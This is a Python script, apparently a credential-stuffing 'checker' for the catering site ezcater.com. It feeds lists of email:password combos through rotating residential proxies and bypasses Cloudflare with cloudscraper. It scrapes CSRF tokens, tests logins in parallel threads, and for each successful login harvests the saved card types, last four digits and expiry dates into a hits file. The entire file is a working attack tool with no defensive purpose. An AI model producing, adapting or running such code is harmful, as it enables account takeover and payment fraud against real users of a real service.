import cloudscraper
import os, re
from concurrent.futures import ThreadPoolExecutor
def login_account(account):
# Parse email, password and set proxy (rotating resi)
try:
email, password = account.split(":")
except ValueError:
print(f"Error parsing {account}")
return
os.environ['HTTP_PROXY'] = 'http://username:password@proxy:port/'
os.environ['HTTPS_PROXY'] = 'http://username:password@proxy:port/'
# initialize the scraper, this is what bypasses cloudflare
scraper = cloudscraper.create_scraper()
# send get request to parse csrf token with regex
url = "https://www.ezcater.com/sign_in"
r = scraper.get(url)
cookies = r.cookies
pattern = r'name="csrf-token" content="(.+?)"'
match = re.search(pattern, r.text)
if match:
token = match.group(1)
else:
print("Token value not found.")
return
# send post request with our data, csrf token, and cookies, and headers
url_2 = "https://www.ezcater.com/sign_ins"
payload = f"utf8=%E2%9C%93&authenticity_token={token}&user%5Bemail%5D={email}&user%5Bpassword%5D={password}"
headers = {
"Authority": "www.ezcater.com",
"Method": "POST",
"Path": "/sign_ins",
"Scheme": "https",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cache-Control": "max-age=0",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://www.ezcater.com",
"Referer": "https://www.ezcater.com/sign_in",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.42"
}
r_2 = scraper.post(url_2, data=payload, cookies=cookies, headers=headers)
# check the status of out post request
if r_2.status_code == 200:
if "Incorrect email or password" in r_2.text:
print("Fail")
else:
print(f"Success {account}")
# if success, gather payment details
url_3 = 'https://ezcater.com/my-account/payment-methods'
cookies2 = r_2.cookies
r_3 = scraper.get(url_3, cookies=cookies2)
response_text = r_3.text
# regex to match payment methods and format them
payment_entry_pattern = r'"CreditCard:(.*?)"__typename":"PaymentMethodEdge"'
card_type_pattern = r'"cardType":"(.*?)"'
last_4_pattern = r'"last4":"(.*?)"'
exp_month_pattern = r'"expMonth":(\d+)'
exp_year_pattern = r'"expYear":(\d+)'
payment_entries = re.findall(payment_entry_pattern, response_text, re.DOTALL)
payment_methods = []
for entry in payment_entries:
card_type_match = re.search(card_type_pattern, entry)
card_type = card_type_match.group(1)
last_4_match = re.search(last_4_pattern, entry)
last_4 = last_4_match.group(1)
exp_month_match = re.search(exp_month_pattern, entry)
exp_month = exp_month_match.group(1)
exp_year_match = re.search(exp_year_pattern, entry)
exp_year = exp_year_match.group(1)
payment_info = f"{card_type} {last_4} {exp_month}/{exp_year}"
if payment_info not in payment_methods:
payment_methods.append(payment_info)
# write the hit with formatted payment to his file
with open("hits.txt", "a") as hits:
hits.write(f'{account} | Payment(s) = {payment_methods} \n')
else:
print(r_2.status_code)
# open accounts.txt containg lines of combos
with open("accounts.txt") as file:
accounts = file.read().splitlines()
# submit each account into the threadpool, can adjust max workers to your liking
with ThreadPoolExecutor(max_workers=15) as executor:
for account in accounts:
executor.submit(login_account, account)